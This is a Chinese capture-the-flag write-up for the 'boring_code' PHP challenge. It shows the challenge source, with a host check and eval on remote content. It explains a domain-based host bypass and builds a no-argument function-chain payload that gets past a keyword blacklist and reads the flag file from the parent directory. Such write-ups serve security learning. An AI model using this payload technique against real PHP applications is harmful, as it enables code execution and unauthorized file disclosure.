boring_code
拿到源码
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
我们这里只讨论下怎么绕过正则和这个过滤。
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
前面的简单说下,怎么匹配这个百度又不影响后面的file_get_content读取。最开始我们构造了http://baidu.com#@
公网ip,但是在到file_get_content的时候,就过不去了,后面又构造0://url;baidu.com
畸形的url,也是一样,遇到file_get_content
时就过不去了,后来,后来,后来。知道怎么绕过没,直接买一个带有baidu.com的域名直接绕过,像这样一样。
然后说下怎么绕过后面的过滤。
我们先看正则'/[a-z]+\((?R)?\)/'
这里只允许执行如下的形式
a(b(c()));
a();
然后这里使用文件读取,读取flag
先构造出一个可以读取文件的payload:
echo(readfile(end(scandir('.'))))
这里可以读取目录的最后一个文件。
但是前面只能执行字母和括号,所以这个**.
**必须用函数代替。所以构造一个可以产生.
的函数,发现函数localeconv()
,执行会返回一个数组,数组的第一项就是.
所以用函数current(localeconv())
取出第一项。但是上面的nt
被ban了,但是我们发现了pos()
函数。pos()
就是current()
函数的别名。
于是构造pos(localeconv())
.
现在我们的payload为:echo(readfile(end(scandir(pos(localeconv())))))
但是现在我们只是得到了最后一个文件。而flag在上层目录,于是我们要跳转到上层目录。使用chdir()
跳转。但是chdir()
函数只会返回bool值,我们需要一个函数接受布尔值并且可以输出.
发现了与时间有关的函数time(),localtime()
。time()
是返回时间戳.但是并不能得到想要的.
,而localtime()返回的是数组,可以提取秒数的值,后使用chr()
转为.
即在46s时chr(pos(localtime()))
就会返回.
但是localtime()内接受布尔参数会报错。后面发现localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。
于是最终的payload构造如下:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
后面获取flag的操作就是将文件放到自己的(买的域名)vps上,然后访问,简单爆破下,在时间为46秒时,可以读到flag.
参考:https://altman.vip/2019/09/09/ByteCTF-WEB/